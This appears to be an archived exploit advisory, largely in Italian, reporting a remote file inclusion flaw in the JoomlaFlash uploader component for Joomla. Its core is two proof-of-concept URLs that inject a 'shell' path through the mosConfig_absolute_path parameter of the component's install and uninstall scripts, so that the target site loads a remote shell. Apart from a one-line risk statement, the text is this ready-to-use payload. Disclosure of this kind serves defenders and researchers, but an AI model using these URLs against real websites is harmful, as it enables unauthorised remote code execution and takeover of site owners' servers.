TUCoPS :: Web :: CMS / Portals

TUCoPS :: Web :: CMS / Portals :: bx1497.htm
JoomlaFlash Component Multiple Remote File Inclusion

JoomlaFlash Component Multiple Remote File Inclusion JoomlaFlash Component Multiple Remote File Inclusion


Autore: Smasher=0D
Sito: http://warwolfz.altervista.org=0D 
Tipo: Remote File Inclusion=0D
Rischio: Alto=0D
=0D
A remote attacker can gain access to your website throug a Remote shell inclusion.=0D
=0D
PoC available:=0D
=0D
http://sito.it/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell?=0D 
=0D
http://sito.it/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell?=0D 
=0D
Regards.=0D
Smasher